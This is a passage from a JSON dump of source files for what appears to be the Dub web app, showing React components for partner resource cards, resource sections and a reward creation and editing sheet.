    "content": "\"use client\";\n\nimport { ProgramResourceType } from \"@/lib/zod/schemas/program-resources\";\nimport { Link, ThreeDots } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  buttonVariants,\n  Check,\n  Copy,\n  Download,\n  LoadingSpinner,\n  Popover,\n  Trash,\n  useCopyToClipboard,\n} from \"@dub/ui\";\nimport { Pen2 } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { ReactNode, useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function ResourceCardSkeleton() {\n  return (\n    <div className=\"border-border-subtle flex w-full items-center gap-4 rounded-lg border p-4\">\n      <div className=\"bg-bg-emphasis flex size-10 shrink-0 animate-pulse items-center justify-center rounded-md\" />\n      <div className=\"flex min-w-0 animate-pulse flex-col gap-1\">\n        <div className=\"bg-bg-emphasis h-4 w-32 max-w-full rounded-md\" />\n        <div className=\"bg-bg-emphasis h-4 w-16 max-w-full rounded-md\" />\n      </div>\n    </div>\n  );\n}\n\nexport function ResourceCard({\n  resourceType,\n  title,\n  description,\n  icon,\n  onEdit,\n  onDelete,\n  downloadUrl,\n  copyText,\n  visitUrl,\n}: {\n  resourceType: ProgramResourceType;\n  title: string;\n  description: string;\n  icon: ReactNode;\n  onEdit?: () => void;\n  onDelete?: () => Promise<boolean>;\n  downloadUrl?: string;\n  copyText?: string;\n  visitUrl?: string;\n}) {\n  const [openPopover, setOpenPopover] = useState(false);\n  const [isDeleting, setIsDeleting] = useState(false);\n\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <div className=\"border-border-subtle flex w-full items-center justify-between gap-4 overflow-hidden rounded-lg border p-4 shadow-sm\">\n      <div className=\"flex min-w-0 items-center gap-4\">\n        <div className=\"border-border-subtle flex size-10 shrink-0 items-center justify-center overflow-hidden rounded-md border\">\n          {icon}\n        </div>\n        <div className=\"flex min-w-0 flex-col\">\n          <span className=\"text-content-emphasis truncate text-sm font-medium\">\n            {title}\n          </span>\n          <span className=\"text-content-subtle truncate text-xs\">\n            {description}\n          </span>\n        </div>\n      </div>\n      <div className=\"relative\">\n        {onEdit || onDelete || (downloadUrl && copyText && visitUrl) ? (\n          <Popover\n            content={\n              <div className=\"grid w-full grid-cols-1 gap-px p-2 sm:w-48\">\n                {downloadUrl && (\n                  <a\n                    href={downloadUrl}\n                    {...(resourceType === \"logo\"\n                      ? {\n                          download: true,\n                        }\n                      : {\n                          target: \"_blank\",\n                        })}\n                    className={cn(\n                      buttonVariants({ variant: \"outline\" }),\n                      \"flex h-9 items-center justify-start gap-2 rounded-md px-2 text-sm font-medium\",\n                    )}\n                    onClick={() => setOpenPopover(false)}\n                  >\n                    <Download className=\"size-4\" />\n                    Download\n                  </a>\n                )}\n\n                {copyText && (\n                  <Button\n                    text={`Copy ${resourceType}`}\n                    variant=\"outline\"\n                    onClick={() => {\n                      copyToClipboard(copyText, {\n                        onSuccess: () => toast.success(\"Copied to clipboard\"),\n                      });\n                      setOpenPopover(false);\n                    }}\n                    icon={<Copy className=\"size-4\" />}\n                    className=\"h-9 justify-start px-2 font-medium\"\n                  />\n                )}\n\n                {visitUrl && (\n                  <a\n                    href={visitUrl}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className={cn(\n                      buttonVariants({ variant: \"outline\" }),\n                      \"flex h-9 items-center justify-start gap-2 rounded-md px-2 text-sm font-medium\",\n                    )}\n                    onClick={() => setOpenPopover(false)}\n                  >\n                    <Link className=\"size-4\" />\n                    Visit {resourceType}\n                  </a>\n                )}\n\n                {onEdit && (\n                  <Button\n                    text={`Edit ${resourceType}`}\n                    variant=\"outline\"\n                    onClick={() => {\n                      setOpenPopover(false);\n                      onEdit();\n                    }}\n                    icon={<Pen2 className=\"size-4\" />}\n                    className=\"h-9 justify-start px-2 font-medium\"\n                  />\n                )}\n\n                {onDelete && (\n                  <Button\n                    text={`Delete ${resourceType}`}\n                    variant=\"danger-outline\"\n                    onClick={async () => {\n                      setOpenPopover(false);\n\n                      if (\n                        !confirm(\n                          \"Are you sure you want to delete this resource?\",\n                        )\n                      )\n                        return;\n\n                      setIsDeleting(true);\n                      const success = await onDelete();\n                      if (success) setIsDeleting(false);\n                    }}\n                    icon={<Trash className=\"size-4\" />}\n                    className=\"h-9 justify-start px-2 font-medium\"\n                  />\n                )}\n              </div>\n            }\n            align=\"end\"\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <Button\n              variant=\"secondary\"\n              className={cn(\n                \"text-content-subtle h-8 px-1.5 outline-none transition-all duration-200\",\n                \"data-[state=open]:border-border-emphasis sm:group-hover/card:data-[state=closed]:border-border-subtle border-transparent\",\n              )}\n              icon={\n                isDeleting ? (\n                  <LoadingSpinner className=\"size-4 shrink-0\" />\n                ) : (\n                  <ThreeDots className=\"size-4 shrink-0\" />\n                )\n              }\n              onClick={() => {\n                setOpenPopover(!openPopover);\n              }}\n            />\n          </Popover>\n        ) : (\n          <>\n            {downloadUrl && (\n              <a\n                href={downloadUrl}\n                {...(resourceType === \"logo\"\n                  ? {\n                      download: true,\n                    }\n                  : {\n                      target: \"_blank\",\n                    })}\n                className={cn(\n                  buttonVariants({ variant: \"secondary\" }),\n                  \"flex h-8 items-center justify-start gap-2 rounded-md border px-2 text-sm\",\n                )}\n                onClick={() => setOpenPopover(false)}\n              >\n                <Download className=\"size-4\" />\n                Download\n              </a>\n            )}\n            {copyText && (\n              <Button\n                icon={\n                  <div className=\"relative size-4\">\n                    <div\n                      className={cn(\n                        \"absolute inset-0 transition-[transform,opacity]\",\n                        copied && \"translate-y-1 opacity-0\",\n                      )}\n                    >\n                      <Copy className=\"size-4\" />\n                    </div>\n                    <div\n                      className={cn(\n                        \"absolute inset-0 transition-[transform,opacity]\",\n                        !copied && \"translate-y-1 opacity-0\",\n                      )}\n                    >\n                      <Check className=\"size-4\" />\n                    </div>\n                  </div>\n                }\n                text={copied ? \"Copied\" : \"Copy\"}\n                variant=\"secondary\"\n                className=\"h-8 px-3\"\n                onClick={() => copyToClipboard(copyText)}\n              />\n            )}\n            {visitUrl && (\n              <a href={visitUrl} target=\"_blank\" rel=\"noopener noreferrer\">\n                <Button\n                  icon={<Link className=\"size-4\" />}\n                  text=\"Visit URL\"\n                  variant=\"secondary\"\n                  className=\"h-8 px-3\"\n                  onClick={() => setOpenPopover(false)}\n                />\n              </a>\n            )}\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/resources/resource-section.tsx",
    "content": "\"use client\";\n\nimport { AnimatedSizeContainer, Button, LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\n\nexport function ResourceSection({\n  resource,\n  title,\n  description,\n  isLoading,\n  isValidating,\n  onAdd,\n  children,\n}: PropsWithChildren<{\n  resource: string;\n  title: string;\n  description?: string;\n  isLoading?: boolean;\n  isValidating?: boolean;\n  onAdd?: () => void;\n}>) {\n  return (\n    <div className=\"border-border-subtle grid grid-cols-1 gap-4 rounded-lg border p-4 sm:grid-cols-2 sm:p-6\">\n      <div>\n        <h2 className=\"text-content-emphasis text-lg font-semibold\">{title}</h2>\n        {description && (\n          <p className=\"text-content-subtle text-sm\">{description}</p>\n        )}\n      </div>\n      <div className=\"-m-1\">\n        <AnimatedSizeContainer\n          height\n          transition={{ duration: 0.2, ease: \"easeInOut\" }}\n        >\n          <div\n            className={cn(\n              \"flex flex-col items-end gap-4 p-1 transition-opacity\",\n              isValidating && \"opacity-50\",\n            )}\n          >\n            {children}\n            <div className=\"flex items-center gap-4\">\n              {isLoading && <LoadingSpinner />}\n              {onAdd && (\n                <Button\n                  type=\"button\"\n                  text={`Add ${resource}`}\n                  onClick={onAdd}\n                  className=\"h-8 w-fit px-3\"\n                />\n              )}\n            </div>\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/rewards/add-edit-reward-sheet.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { createRewardAction } from \"@/lib/actions/partners/create-reward\";\nimport { deleteRewardAction } from \"@/lib/actions/partners/delete-reward\";\nimport { updateRewardAction } from \"@/lib/actions/partners/update-reward\";\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { RewardConditionsArray, RewardProps } from \"@/lib/types\";\nimport { RECURRING_MAX_DURATIONS } from \"@/lib/zod/schemas/misc\";\nimport {\n  createOrUpdateRewardSchema,\n  REWARD_CONDITION_ATTRIBUTES,\n  REWARD_DESCRIPTION_MAX_LENGTH,\n  REWARD_TOOLTIP_DESCRIPTION_MAX_LENGTH,\n  rewardConditionsArraySchema,\n  rewardConditionSchema,\n  rewardConditionsSchema,\n} from \"@/lib/zod/schemas/rewards\";\nimport { X } from \"@/ui/shared/icons\";\nimport { EventType, RewardStructure } from \"@dub/prisma/client\";\nimport {\n  Button,\n  Gift,\n  Grid,\n  MoneyBills2,\n  Pen2,\n  Sheet,\n  Tooltip,\n  TooltipContent,\n  useLocalStorage,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { CursorRays, InvoiceDollar, UserPlus } from \"@dub/ui/icons\";\nimport { capitalize, cn, pluralize } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  PropsWithChildren,\n  ReactNode,\n  SetStateAction,\n  useContext,\n  useEffect,\n  useRef,\n  useState,\n} from \"react\";\nimport { FormProvider, useForm, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverContext,\n  InlineBadgePopoverInput,\n  InlineBadgePopoverMenu,\n  InlineBadgePopoverRichTextArea,\n} from \"../../shared/inline-badge-popover\";\nimport { RewardDiscountPartnersCard } from \"../groups/reward-discount-partners-card\";\nimport { RewardIconSquare } from \"./reward-icon-square\";\nimport { RewardPreviewCard } from \"./reward-preview-card\";\nimport { REWARD_TYPES, RewardsLogic } from \"./rewards-logic\";\n\ninterface RewardSheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  event: EventType;\n  reward?: RewardProps;\n  defaultRewardValues?: RewardProps;\n}\n\n// Special form schema to allow for empty condition fields when adding a new condition\nconst formSchema = createOrUpdateRewardSchema.extend({\n  modifiers: z\n    .array(\n      rewardConditionsSchema.extend({\n        conditions: z.array(rewardConditionSchema.partial()).min(1),\n      }),\n    )\n    .min(1),\n});\n\ntype FormData = z.infer<typeof formSchema>;\n\nexport const useAddEditRewardForm = () => useFormContext<FormData>();\n\nexport const getRewardPayload = ({ data }: { data: FormData }) => {\n  let modifiers: RewardConditionsArray | null = null;\n\n  if (data.modifiers?.length) {\n    modifiers = rewardConditionsArraySchema.parse(\n      data.modifiers.map((m) => {\n        const type = m.type === undefined ? data.type : m.type;\n        const maxDuration =\n          m.maxDuration === undefined ? data.maxDuration : m.maxDuration;\n\n        return {\n          ...m,\n          id: m.id ?? uuid(),\n          conditions: m.conditions.map((c) => ({\n            ...c,\n            value:\n              c.entity &&\n              c.attribute &&\n              REWARD_CONDITION_ATTRIBUTES.find((a) => a.id === c.attribute)\n                ?.type === \"currency\"\n                ? c.value === \"\" ||\n                  c.value == null ||\n                  Number.isNaN(Number(c.value))\n                  ? c.value\n                  : Math.round(Number(c.value) * 100)\n                : c.value,\n          })),\n          amountInCents:\n            type === \"flat\" && m.amountInCents !== undefined\n              ? Math.round(m.amountInCents * 100)\n              : undefined,\n          amountInPercentage:\n            type === \"percentage\" ? m.amountInPercentage : undefined,\n          maxDuration: maxDuration === Infinity ? null : maxDuration,\n        };\n      }),\n    );\n  }\n\n  const amount =\n    data.type === \"flat\"\n      ? {\n          amountInCents: Math.round((data.amountInCents ?? 0) * 100),\n          amountInPercentage: undefined,\n        }\n      : {\n          amountInCents: undefined,\n          amountInPercentage: data.amountInPercentage,\n        };\n\n  return {\n    ...data,\n    ...amount,\n    maxDuration:\n      Infinity === Number(data.maxDuration) ? null : data.maxDuration,\n    modifiers,\n  };\n};\n\nfunction RewardSheetContent({\n  setIsOpen,\n  event,\n  reward,\n  defaultRewardValues,\n}: RewardSheetProps) {\n  const { group, mutateGroup } = useGroup();\n  const {\n    id: workspaceId,\n    slug: workspaceSlug,\n    defaultProgramId,\n    plan,\n  } = useWorkspace();\n  const formRef = useRef<HTMLFormElement>(null);\n  const { mutate: mutateProgram } = useProgram();\n  const { queryParams } = useRouterStuff();\n\n  const defaultValuesSource = reward || defaultRewardValues;\n\n  const form = useForm<FormData>({\n    defaultValues: {\n      event,\n      type:\n        defaultValuesSource?.type || (event === \"sale\" ? \"percentage\" : \"flat\"),\n      maxDuration: defaultValuesSource\n        ? defaultValuesSource.maxDuration === null\n          ? Infinity\n          : defaultValuesSource.maxDuration\n        : Infinity,\n      amountInCents:\n        defaultValuesSource?.amountInCents != null\n          ? defaultValuesSource.amountInCents / 100\n          : undefined,\n      amountInPercentage:\n        defaultValuesSource?.amountInPercentage != null\n          ? defaultValuesSource.amountInPercentage\n          : undefined,\n      description: defaultValuesSource?.description ?? null,\n      tooltipDescription: defaultValuesSource?.tooltipDescription ?? null,\n      modifiers: defaultValuesSource?.modifiers?.map((m) => {\n        const maxDuration =\n          m.maxDuration === undefined\n            ? defaultValuesSource?.maxDuration\n            : m.maxDuration;\n\n        return {\n          ...m,\n          conditions: m.conditions.map((c) => ({\n            ...c,\n            value:\n              REWARD_CONDITION_ATTRIBUTES.find((a) => a.id === c.attribute)\n                ?.type === \"currency\" &&\n              c.value !== \"\" &&\n              c.value != null &&\n              !Number.isNaN(Number(c.value))\n                ? Number(c.value) / 100\n                : c.value,\n          })),\n          amountInCents:\n            m.amountInCents !== undefined && m.amountInCents !== null\n              ? m.amountInCents / 100\n              : undefined,\n          amountInPercentage: m.amountInPercentage ?? undefined,\n          maxDuration: m.maxDuration === null ? Infinity : maxDuration,\n        };\n      }),\n    },\n  });\n\n  const { handleSubmit, watch, setValue, setError } = form;\n\n  const [\n    selectedEvent,\n    amountInCents,\n    amountInPercentage,\n    type,\n    maxDuration,\n    description,\n    tooltipDescription,\n    modifiers,\n  ] = watch([\n    \"event\",\n    \"amountInCents\",\n    \"amountInPercentage\",\n    \"type\",\n    \"maxDuration\",\n    \"description\",\n    \"tooltipDescription\",\n    \"modifiers\",\n  ]);\n\n  // Compute amount based on type\n  const amount = type === \"flat\" ? amountInCents : amountInPercentage;\n\n  const { executeAsync: createReward, isPending: isCreating } = useAction(\n    createRewardAction,\n    {\n      onSuccess: async () => {\n        setIsOpen(false);\n        toast.success(\"Reward created!\");\n        await mutateProgram();\n        await mutateGroup();\n      },\n      onError({ error }) {\n        toast.error(parseActionError(error, \"Failed to create reward\"));\n      },\n    },\n  );\n\n  const { executeAsync: updateReward, isPending: isUpdating } = useAction(\n    updateRewardAction,\n    {\n      onSuccess: async () => {\n        queryParams({ del: \"rewardId\", scroll: false });\n        toast.success(\"Reward updated!\");\n        await mutateProgram();\n        await mutateGroup();\n      },\n      onError({ error }) {\n        toast.error(parseActionError(error, \"Failed to update reward\"));\n      },\n    },\n  );\n\n  const { executeAsync: deleteReward, isPending: isDeleting } = useAction(\n    deleteRewardAction,\n    {\n      onSuccess: async () => {\n        setIsOpen(false);\n        toast.success(\"Reward deleted!\");\n        await mutate(`/api/programs/${defaultProgramId}`);\n        await mutateGroup();\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const [showAdvancedUpsell, setShowAdvancedUpsell] = useState(false);\n\n  useEffect(() => {\n    if (\n      modifiers?.length &&\n      !getPlanCapabilities(plan).canUseAdvancedRewardLogic\n    ) {\n      setShowAdvancedUpsell(true);\n    } else {\n      setShowAdvancedUpsell(false);\n    }\n  }, [modifiers, plan]);\n\n  const onSubmit = async (data: FormData) => {\n    if (!workspaceId || !defaultProgramId || showAdvancedUpsell || !group) {\n      return;\n    }\n\n    let payload: ReturnType<typeof getRewardPayload> | null = null;\n\n    try {\n      payload = {\n        ...getRewardPayload({\n          data,\n        }),\n        workspaceId,\n      };\n    } catch (error) {\n      console.log(\"parse error\", error);\n      setError(\"root.logic\", { message: \"Invalid reward condition\" });\n      toast.error(\n        \"Invalid reward condition. Please fix the errors and try again.\",\n      );\n\n      return;\n    }\n\n    if (!reward) {\n      await createReward({\n        ...payload,\n        groupId: group.id,\n      });\n    } else {\n      await updateReward({\n        ...payload,\n        rewardId: reward.id,\n      });\n    }\n  };\n\n  const onDelete = async () => {\n    if (!workspaceId || !defaultProgramId || !reward) {\n      return;\n    }\n\n    if (!window.confirm(\"Are you sure you want to delete this reward?\")) {\n      return;\n    }\n\n    await deleteReward({\n      workspaceId,\n      rewardId: reward.id,\n    });\n  };\n\n  return (\n    <FormProvider {...form}>\n      <form\n        ref={formRef}\n        onSubmit={handleSubmit(onSubmit)}\n        className=\"flex h-full flex-col\"\n      >\n        <div className=\"flex h-16 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            {reward ? \"Edit\" : \"Create\"} {selectedEvent} reward\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n\n        <div className=\"flex flex-1 flex-col overflow-y-auto p-6\">\n          {!reward && <RewardHelperBlock event={event} />}\n          <RewardSheetCard\n            title={\n              <div className=\"w-full\">\n                <div className=\"flex min-w-0 items-center justify-between\">\n                  <div className=\"flex min-w-0 items-center gap-2.5\">\n                    <RewardIconSquare icon={MoneyBills2} />\n                    <span className=\"leading-relaxed\">\n                      Pay{\" \"}\n                      {selectedEvent === \"sale\" && (\n                        <>\n                          a{\" \"}\n                          <InlineBadgePopover text={capitalize(type)}>\n                            <InlineBadgePopoverMenu\n                              selectedValue={type}\n                              onSelect={(value) =>\n                                setValue(\"type\", value as RewardStructure, {\n                                  shouldDirty: true,\n                                })\n                              }\n                              items={REWARD_TYPES}\n                            />\n                          </InlineBadgePopover>{\" \"}\n                          {type === \"percentage\" && \"of \"}\n                        </>\n                      )}\n                      <InlineBadgePopover\n                        text={\n                          amount != null && !isNaN(amount)\n                            ? constructRewardAmount({\n                                type,\n                                maxDuration,\n                                amountInCents:\n                                  type === \"flat\" ? amount * 100 : undefined,\n                                amountInPercentage:\n                                  type === \"percentage\" ? amount : undefined,\n                              })\n                            : \"amount\"\n                        }\n                        invalid={amount == null || isNaN(amount)}\n                      >\n                        <AmountInput />\n                      </InlineBadgePopover>{\" \"}\n                      per {selectedEvent}\n                      {selectedEvent === \"sale\" && (\n                        <>\n                          {\" \"}\n                          <InlineBadgePopover\n                            text={\n                              maxDuration === 0\n                                ? \"one time\"\n                                : maxDuration === Infinity\n                                  ? \"for the customer's lifetime\"\n                                  : `for ${maxDuration} ${pluralize(\"month\", Number(maxDuration))}`\n                            }\n                          >\n                            <InlineBadgePopoverMenu\n                              selectedValue={maxDuration?.toString()}\n                              onSelect={(value) =>\n                                setValue(\"maxDuration\", Number(value), {\n                                  shouldDirty: true,\n                                })\n                              }\n                              items={[\n                                {\n                                  text: \"one time\",\n                                  value: \"0\",\n                                },\n                                ...RECURRING_MAX_DURATIONS.filter(\n                                  (v) => v !== 0 && v !== 1, // filter out one-time and 1-month intervals (we only use 1-month for discounts)\n                                ).map((v) => ({\n                                  text: `for ${v} ${pluralize(\"month\", Number(v))}`,\n                                  value: v.toString(),\n                                })),\n                                {\n                                  text: \"for the customer's lifetime\",\n                                  value: \"Infinity\",\n                                },\n                              ]}\n                            />\n                          </InlineBadgePopover>\n                        </>\n                      )}\n                      {modifiers?.length ? (\n                        <> for all other {selectedEvent}s</>\n                      ) : null}\n                    </span>\n                  </div>\n                  <Tooltip\n                    content={\"Add a custom reward description\"}\n                    disabled={description !== null}\n                  >\n                    <div className=\"shrink-0\">\n                      <Button\n                        variant=\"secondary\"\n                        className={cn(\n                          \"size-7 p-0\",\n                          description !== null && \"text-blue-600\",\n                        )}\n                        icon={<Pen2 className=\"size-3.5\" />}\n                        onClick={() =>\n                          setValue(\n                            \"description\",\n                            description === null ? \"\" : null,\n                            { shouldDirty: true },\n                          )\n                        }\n                      />\n                    </div>\n                  </Tooltip>\n                </div>\n                <motion.div\n                  initial={false}\n                  transition={{ ease: \"easeInOut\", duration: 0.2 }}\n                  animate={{\n                    height: description !== null ? \"auto\" : 0,\n                    opacity: description !== null ? 1 : 0,\n                  }}\n                  className=\"-mx-2.5 overflow-hidden\"\n                >\n                  <div className=\"pt-2.5\">\n                    <div className=\"border-border-subtle flex min-w-0 items-center gap-2.5 border-t px-2.5 pt-2.5\">\n                      <RewardIconSquare icon={Gift} />\n                      <span className=\"min-w-0 grow leading-relaxed\">\n                        Shown as{\" \"}\n                        <InlineBadgePopover\n                          text={description || \"Reward description\"}\n                          invalid={!description}\n                        >\n                          <InlineBadgePopoverInput\n                            value={description ?? \"\"}\n                            onChange={(e) =>\n                              setValue(\n                                \"description\",\n                                (e.target as HTMLInputElement).value,\n                                {\n                                  shouldDirty: true,\n                                },\n                              )\n                            }\n                            className=\"sm:w-80\"\n                            maxLength={REWARD_DESCRIPTION_MAX_LENGTH}\n                          />\n                        </InlineBadgePopover>{\" \"}\n                        with the tooltip{\" \"}\n                        <InlineBadgePopover\n                          text={tooltipDescription || \"Reward tooltip\"}\n                          showOptional={!tooltipDescription}\n                          buttonClassName=\"min-w-0 max-w-full\"\n                          contentClassName=\"truncate\"\n                        >\n                          <InlineBadgePopoverRichTextArea\n                            value={tooltipDescription ?? \"\"}\n                            onChange={(value) =>\n                              setValue(\"tooltipDescription\", value, {\n                                shouldDirty: true,\n                              })\n                            }\n                            className=\"sm:w-80\"\n                            maxLength={REWARD_TOOLTIP_DESCRIPTION_MAX_LENGTH}\n                          />\n                        </InlineBadgePopover>\n                      </span>\n                      <Button\n                        variant=\"outline\"\n                        className=\"size-6 shrink-0 p-0\"\n                        icon={<X className=\"size-3\" strokeWidth={2} />}\n                        onClick={() => {\n                          setValue(\"description\", null, { shouldDirty: true });\n                          setValue(\"tooltipDescription\", null, {\n                            shouldDirty: true,\n                          });\n                        }}\n                      />\n                    </div>\n                  </div>\n                </motion.div>\n              </div>\n            }\n            content={<RewardsLogic isDefaultReward={false} />}\n          />\n\n          <VerticalLine />\n          <RewardPreviewCard />\n\n          {group && (\n            <>\n              <VerticalLine />\n              <RewardDiscountPartnersCard groupId={group.id} />\n            </>\n          )}\n        </div>\n\n        <div className=\"flex items-center justify-between border-t border-neutral-200 p-5\">\n          <div>\n            {reward && (\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                text=\"Remove reward\"\n                className=\"h-9 w-fit\"\n                onClick={onDelete}\n                loading={isDeleting}\n                disabled={isCreating || isUpdating}\n              />\n            )}\n          </div>\n\n          <div className=\"flex items-center gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              onClick={() => setIsOpen(false)}\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              disabled={isCreating || isUpdating || isDeleting}\n            />\n\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={reward ? \"Update reward\" : \"Create reward\"}\n              className=\"h-9 w-fit\"\n              loading={isCreating || isUpdating}\n              disabled={\n                amount == null || isDeleting || isCreating || isUpdating\n              }\n              disabledTooltip={\n                showAdvancedUpsell ? (\n                  <TooltipContent\n                    title=\"[Advanced reward structures](https://dub.co/help/article/partner-rewards#adding-reward-conditions) are only available on the Advanced plan and above.\"\n                    cta=\"Upgrade to Advanced\"\n                    href={`/${workspaceSlug}/upgrade?showPartnersUpgradeModal=true`}\n                    target=\"_blank\"\n                  />\n                ) : undefined\n              }\n            />\n          </div>\n        </div>\n      </form>\n    </FormProvider>\n  );\n}\n\nconst REWARD_HELPER_CONTENT: Record<\n  EventType,\n  {\n    icon: typeof InvoiceDollar;\n    title: string;\n    description: string;\n  }\n> = {\n  sale: {\n    icon: InvoiceDollar,\n    title: \"Sale rewards\",\n    description:\n      \"Reward when revenue is generated. Best for partners, creators, and long term partnerships.\",\n  },\n  lead: {\n    icon: UserPlus,\n    title: \"Lead rewards\",\n    description:\n      \"Reward for sign ups or demos. Best for B2B, demos, waitlists, or longer sales cycles.\",\n  },\n  click: {\n    icon: CursorRays,\n    title: \"Click rewards\",\n    description:\n      \"Reward for traffic and reach. Best for publishers and trusted partners only.\",\n  },\n};\n\nfunction RewardHelperBlock({ event }: { event: EventType }) {\n  const [dismissed, setDismissed] = useLocalStorage<boolean>(\n    `reward-helper-${event}-dismissed`,\n    false,\n  );\n\n  const content = REWARD_HELPER_CONTENT[event];\n  const Icon = content.icon;\n\n  return (\n    <motion.div\n      animate={\n        dismissed\n          ? { opacity: 0, height: 0, marginBottom: 0 }\n          : { opacity: 1, height: \"auto\", marginBottom: 16 }\n      }\n      initial={false}\n      className=\"overflow-hidden\"\n      inert={dismissed}\n    >\n      <div className=\"relative overflow-hidden rounded-xl bg-neutral-100 p-4\">\n        <div className=\"absolute right-0 top-0 flex h-full w-1/2 items-start justify-end opacity-30 mix-blend-hard-light blur-[50px] [mask-image:linear-gradient(90deg,transparent,black)] [transform:translateZ(0)]\">\n          <div className=\"h-32 w-80 -translate-y-4 translate-x-4 bg-[conic-gradient(from_220deg_at_50%_50%,#FF0000_0%,#EAB308_17%,#1E00FF_31%,#5CFF80_46%,#855AFC_60%,#3A8BFD_78%,#FF0000_100%)]\" />\n        </div>\n        <Grid\n          cellSize={60}\n          patternOffset={[33, 28]}\n          className=\"inset-[unset] right-0 top-0 h-full w-1/2 text-neutral-300 [mask-image:linear-gradient(90deg,transparent,black)]\"\n        />\n\n        <div className=\"relative flex flex-col gap-2\">\n          <Icon className=\"size-5 text-neutral-600\" />\n          <div className=\"flex flex-col pt-2\">\n            <span className=\"text-sm font-medium text-neutral-900\">\n              {content.title}\n            </span>\n            <span className=\"text-sm text-neutral-500\">\n              {content.description}\n            </span>\n          </div>\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Dismiss\"\n            className=\"mt-1 h-8 w-fit px-3\"\n            onClick={() => setDismissed(true)}\n          />\n        </div>\n      </div>\n    </motion.div>\n  );\n}\n\nfunction RewardSheetCard({\n  title,\n  content,\n}: PropsWithChildren<{ title: ReactNode; content: ReactNode }>) {\n  return (\n    <div className=\"border-border-subtle rounded-xl border bg-white text-sm shadow-sm\">\n      <div className=\"text-content-emphasis flex items-center gap-2.5 p-2.5 font-medium\">\n        {title}\n      </div>\n      {content && (\n        <div className=\"border-border-subtle -mx-px rounded-xl border-x border-t bg-neutral-50 p-2.5\">\n          {content}\n        </div>\n      )}\n    </div>\n  );\n}\n\nconst VerticalLine = () => (\n  <div className=\"bg-border-subtle ml-6 h-4 w-px shrink-0\" />\n);\n\nfunction AmountInput() {\n  const { watch, register } = useAddEditRewardForm();\n  const { setIsOpen } = useContext(InlineBadgePopoverContext);\n\n  const type = watch(\"type\");\n  const fieldName = type === \"flat\" ? \"amountInCents\" : \"amountInPercentage\";\n\n  return (\n    <div className=\"relative rounded-md shadow-sm\">\n      {type === \"flat\" && (\n        <span className=\"absolute inset-y-0 left-0 flex items-center pl-1.5 text-sm text-neutral-400\">\n          $\n        </span>\n      )}\n      <input\n        className={cn(\n          \"block w-full rounded-md border-neutral-300 px-1.5 py-1 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:w-32 sm:text-sm\",\n          type === \"flat\" ? \"pl-4 pr-12\" : \"pr-7\",\n        )}\n        {...register(fieldName, {\n          required: true,\n          setValueAs: (value: string) => (value === \"\" ? undefined : +value),\n          min: 0,\n          max: type === \"percentage\" ? 100 : undefined,\n          onChange: handleMoneyInputChange,\n        })}\n        onKeyDown={(e) => {\n          if (e.key === \"Enter\") {\n            e.preventDefault();\n            setIsOpen(false);\n            return;\n          }\n\n          handleMoneyKeyDown(e);\n        }}\n      />\n      <span className=\"absolute inset-y-0 right-0 flex items-center pr-1.5 text-sm text-neutral-400\">\n        {type === \"flat\" ? \"USD\" : \"%\"}\n      </span>\n    </div>\n  );\n}\n\nexport function RewardSheet({\n  isOpen,\n  nested,\n  ...rest\n}: RewardSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      nested={nested}\n      onClose={() => queryParams({ del: \"rewardId\", scroll: false })}\n    >\n      <RewardSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useRewardSheet(\n  props: { nested?: boolean } & Omit<RewardSheetProps, \"setIsOpen\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    RewardSheet: (\n      <RewardSheet setIsOpen={setIsOpen} isOpen={isOpen} {...props} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/rewards/reward-icon-square.tsx",
